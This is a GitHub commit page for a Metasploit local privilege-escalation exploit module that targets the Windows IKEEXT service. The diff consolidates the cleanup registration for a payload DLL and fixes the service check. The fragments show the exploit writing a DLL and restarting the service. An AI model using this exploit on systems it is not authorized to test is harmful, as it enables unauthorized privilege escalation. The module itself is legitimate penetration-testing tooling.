Skip to content

Commit

Permalink
Register cleanup and update check
Browse files Browse the repository at this point in the history
  • Loading branch information
Meatballs1 committed Sep 5, 2013
1 parent 400b433 commit 473f08b
Showing 1 changed file with 2 additions and 6 deletions.
8 changes: 2 additions & 6 deletions modules/exploits/windows/local/ikeext_service.rb
Expand Up @@ -84,7 +84,7 @@ def check_service_exists?(service)
end

def check
srv_info = service_info('IKEEXT')
srv_info = service_info(@service_name)

if !check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
Expand Down Expand Up @@ -261,6 +261,7 @@ def exploit
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
begin
write_file(@dll_file_path, dll)
register_file_for_cleanup(@dll_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Exploit::Failure::Unknown, e.message)
Expand All @@ -280,21 +281,17 @@ def exploit
if service_start(@service_name) == 0
print_status("Service started...")
else
register_file_for_cleanup(@dll_file_path)
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
end
else
register_file_for_cleanup(@dll_file_path)
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
end
elsif status == 0
print_status("Service started...")
register_file_for_cleanup(@dll_file_path)
end
rescue RuntimeError => e
raise e if e.kind_of? Msf::Exploit::Failed
if service_information['Startup'] == 'Manual'
register_file_for_cleanup(@dll_file_path)
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
else
if job_id
Expand All @@ -304,7 +301,6 @@ def exploit
select(nil,nil,nil,1)
end
else
register_file_for_cleanup(@dll_file_path)
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
end
Expand Down

0 comments on commit 473f08b

Please sign in to comment.